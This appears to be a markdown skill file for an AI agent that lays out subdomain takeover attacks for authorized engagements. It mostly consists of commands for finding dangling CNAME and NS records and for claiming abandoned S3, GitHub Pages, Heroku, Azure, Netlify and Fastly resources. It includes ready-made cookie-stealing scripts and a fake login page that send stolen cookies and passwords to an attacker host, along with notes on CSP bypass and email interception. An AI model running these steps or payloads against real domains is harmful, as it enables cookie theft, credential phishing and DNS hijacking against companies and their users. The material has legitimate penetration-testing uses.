---
name: rt-subdomain-takeover
description: "Subdomain takeover skill for authorized engagements. Identifying dangling CNAME records pointing to unclaimed services, takeover on GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, Shopify, and 50+ other platforms, DNS hijacking via expired domains, NS takeover for full zone control, automated scanning with Subzy and Nuclei, and impact demonstration via cookie theft and phishing. Use after subdomain enumeration to identify high-impact unclaimed subdomains."
---

# rt-subdomain-takeover — Subdomain Takeover

## Overview

Subdomain takeover occurs when a subdomain has a CNAME record pointing to an external service that no longer exists or is unclaimed. An attacker claims that service, hosts malicious content under the company's subdomain, and can steal cookies, run phishing, bypass CSP, or conduct further attacks under a trusted domain.

**Impact:**
- Serve malicious content under `trusted-corp.com` subdomain
- Steal cookies scoped to `.corp.com` (if HttpOnly not set)
- Bypass CSP (content served from trusted origin)
- Send phishing emails from `mail.corp.com`
- Full zone control if NS record is dangling

---

## Phase 1 — Discovery

```bash
# Step 1: Enumerate all subdomains (feed from rt-subdomain-enum output)
subfinder -d corp.com -all -silent | tee subs.txt
amass enum -passive -d corp.com -o subs-amass.txt
cat subs*.txt | sort -u > all-subs.txt

# Step 2: Check CNAME records for each subdomain
while read sub; do
    cname=$(dig CNAME +short $sub)
    if [ -n "$cname" ]; then
        echo "$sub → $cname"
    fi
done < all-subs.txt | tee cname-map.txt

# Step 3: Check if CNAME target exists / is claimed
while IFS=' → ' read sub cname; do
    # Check if CNAME target resolves
    if ! dig +short $cname | grep -q '[0-9]'; then
        echo "[DANGLING] $sub → $cname"
    fi
done < cname-map.txt

# Step 4: Check for NXDOMAIN (subdomain exists in DNS but CNAME target gone)
while read sub; do
    result=$(dig +short $sub)
    if [ -z "$result" ]; then
        # Check if there's a CNAME that leads nowhere
        cname=$(dig CNAME +short $sub 2>/dev/null)
        [ -n "$cname" ] && echo "[CANDIDATE] $sub → $cname"
    fi
done < all-subs.txt
```

---

## Phase 2 — Automated Scanning

```bash
# Subzy — dedicated subdomain takeover scanner
go install github.com/LukaSikic/subzy@latest
subzy run --targets all-subs.txt
# Checks against 50+ fingerprints for vulnerable services

# Nuclei — subdomain takeover templates
nuclei -l all-subs.txt -t ~/nuclei-templates/http/takeovers/
# Covers: GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, etc.

# subjack
go install github.com/haccer/subjack@latest
subjack -w all-subs.txt -t 100 -timeout 30 -o results.txt -ssl

# Can-I-Take-Over-XYZ (reference list)
# https://github.com/EdOverflow/can-i-take-over-xyz
# Lists fingerprints and claimable status per service

# Manual check: visit subdomains with Burp + look for:
# "NoSuchBucket" = S3 takeover
# "There is no app here" = Heroku takeover
# "404 Not Found" on GitHub Pages
# "Fastly error: 404 Unknown" = Fastly takeover
# "azure websites" errors = Azure App Service
```

---

## Phase 3 — Service-Specific Takeovers

### GitHub Pages

```bash
# Fingerprint: "There isn't a GitHub Pages site here"
# Check: dig CNAME sub.corp.com → corp-org.github.io

# Takeover:
# 1. Create GitHub account / org matching the CNAME
# 2. Create repo: corp-org/corp-org.github.io
# 3. Enable GitHub Pages
# 4. Add CNAME file: echo "sub.corp.com" > CNAME
# 5. sub.corp.com now serves your content

# Or if CNAME points to username.github.io:
# 1. Register GitHub username: corp-username
# 2. Create repo: corp-username.github.io
# 3. sub.corp.com → your repo
```

### AWS S3

```bash
# Fingerprint: "NoSuchBucket" or "The specified bucket does not exist"
# Check: dig CNAME sub.corp.com → sub.corp.com.s3.amazonaws.com
#        or: sub.corp.com.s3-website-us-east-1.amazonaws.com

# Takeover:
aws s3 mb s3://sub.corp.com --region us-east-1
# Bucket name must EXACTLY match the subdomain
aws s3 website s3://sub.corp.com/ \
  --index-document index.html \
  --error-document error.html

# Upload malicious content
echo '<script>document.location="https://attacker.com?c="+document.cookie</script>' \
  > index.html
aws s3 cp index.html s3://sub.corp.com/

# sub.corp.com now serves your page under corp.com's domain
```

### Heroku

```bash
# Fingerprint: "No such app" or "herokuapps.com" CNAME
# CNAME: sub.corp.com → random-name-12345.herokudns.com

# Takeover:
heroku create random-name-12345
heroku domains:add sub.corp.com --app random-name-12345
# Deploy app to random-name-12345
# sub.corp.com → your Heroku app
```

### Azure App Service

```bash
# Fingerprint: "Microsoft Azure App Service" 404
# CNAME: sub.corp.com → corp-app.azurewebsites.net

# Takeover:
az webapp create --name corp-app \
  --resource-group myRG \
  --plan myPlan
az webapp config hostname add \
  --webapp-name corp-app \
  --resource-group myRG \
  --hostname sub.corp.com
```

### Netlify

```bash
# Fingerprint: "Not found - Request ID"
# CNAME: sub.corp.com → corp.netlify.app

# Takeover:
# 1. Create Netlify site → site settings → domain management
# 2. Add custom domain: sub.corp.com
# 3. Deploy malicious site
netlify deploy --prod
```

### Fastly

```bash
# Fingerprint: "Fastly error: 404 Unfound" or "Unknown domain"
# CNAME: sub.corp.com → something.fastly.net

# Takeover:
# Create Fastly service → add domain: sub.corp.com
# sub.corp.com now served by your Fastly service
```

---

## Phase 4 — NS Record Takeover (Critical)

```bash
# If subdomain.corp.com has NS records pointing to expired/unclaimed nameservers
# → attacker claims the nameservers → full DNS control for that subdomain

# Check NS records
dig NS sub.corp.com
# ns1.expired-dns-provider.com
# ns2.expired-dns-provider.com

# Check if provider is still active
whois expired-dns-provider.com | grep -i "expir"
# If expired/available → register it → control all DNS for sub.corp.com

# Once you control NS:
# → Create A records → point to attacker server
# → Create MX records → intercept email to @sub.corp.com
# → Create any record → full subdomain zone control
```

---

## Phase 5 — Impact Demonstration

```bash
# Cookie theft (demonstrate scope)
# If corp.com sets cookies with Domain=.corp.com:
# sub.corp.com can read those cookies!

# Host on claimed subdomain:
cat > index.html << 'EOF'
<html>
<script>
// Steal .corp.com scoped cookies
var stolen = document.cookie;
fetch('https://attacker.com/log?cookies=' + encodeURIComponent(stolen));

// Demonstrate phishing capability
document.write('<h1>Corp.com Login Portal</h1>');
document.write('<form action="https://attacker.com/collect" method="POST">');
document.write('<input name="user" placeholder="Username"><br>');
document.write('<input name="pass" type="password" placeholder="Password"><br>');
document.write('<button>Login</button></form>');
</script>
</html>
EOF

# CSP bypass: if corp.com has CSP: script-src *.corp.com
# Loading scripts from sub.corp.com bypasses CSP completely
# <script src="https://sub.corp.com/evil.js"></script>  ← allowed by CSP!
```

---

## Phase 6 — Evidence Documentation

```bash
# Screenshot the takeover proof
# Show: sub.corp.com serving your content

# curl to confirm
curl -I https://sub.corp.com
# Server: your-server
# Content shows attacker-controlled content

# Document CNAME chain
dig CNAME +trace sub.corp.com

# Finding template:
# Title: Subdomain Takeover — sub.corp.com
# Severity: HIGH (cookie theft possible) / MEDIUM (content injection)
# CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) if cookie theft
# Evidence: screenshot + curl output + CNAME chain
# Impact: phishing under trusted domain, cookie theft, CSP bypass
# Remediation: remove dangling DNS record OR re-claim the service
```

---

## Most Vulnerable Services (Quick Reference)

```
Service               Fingerprint                              Claimable
─────────────────────────────────────────────────────────────────────────
GitHub Pages          "There isn't a GitHub Pages site here"  ✅ Yes
AWS S3                "NoSuchBucket"                          ✅ Yes
Heroku                "No such app"                           ✅ Yes
Azure App Service     Azure 404 page                          ✅ Yes
Netlify               "Not found - Request ID"                ✅ Yes
Fastly                "Fastly error: 404 Unfound"             ✅ Yes
Shopify               "Sorry, this shop is currently..."      ✅ Yes
Tumblr                "There's nothing here"                  ✅ Yes
WordPress.com         "Do you want to register..."            ✅ Yes
Ghost                 "The thing you were looking for..."     ✅ Yes
Surge.sh              "project not found"                     ✅ Yes
Bitbucket             "Repository not found"                  ✅ Yes
Zendesk               "Help Center Closed"                    ✅ Yes
Freshdesk             "We could not find what..."             ⚠️  Limited
Desk.com (Salesforce) "Please try again"                      ✅ Yes
```

---

## Skill Levels

**BEGINNER:** subfinder + subzy automated scan → identify candidates → manual verification

**INTERMEDIATE:** GitHub Pages / S3 takeover PoC → cookie theft demonstration

**ADVANCED:** NS takeover → full zone control → MX takeover for email interception

**EXPERT:** Chained attack: takeover → CSP bypass → XSS on main domain → account takeover

---

## References

- Can-I-Take-Over-XYZ: https://github.com/EdOverflow/can-i-take-over-xyz
- Subzy: https://github.com/LukaSikic/subzy
- Nuclei takeover templates: https://github.com/projectdiscovery/nuclei-templates
- MITRE T1584.001: https://attack.mitre.org/techniques/T1584/001/
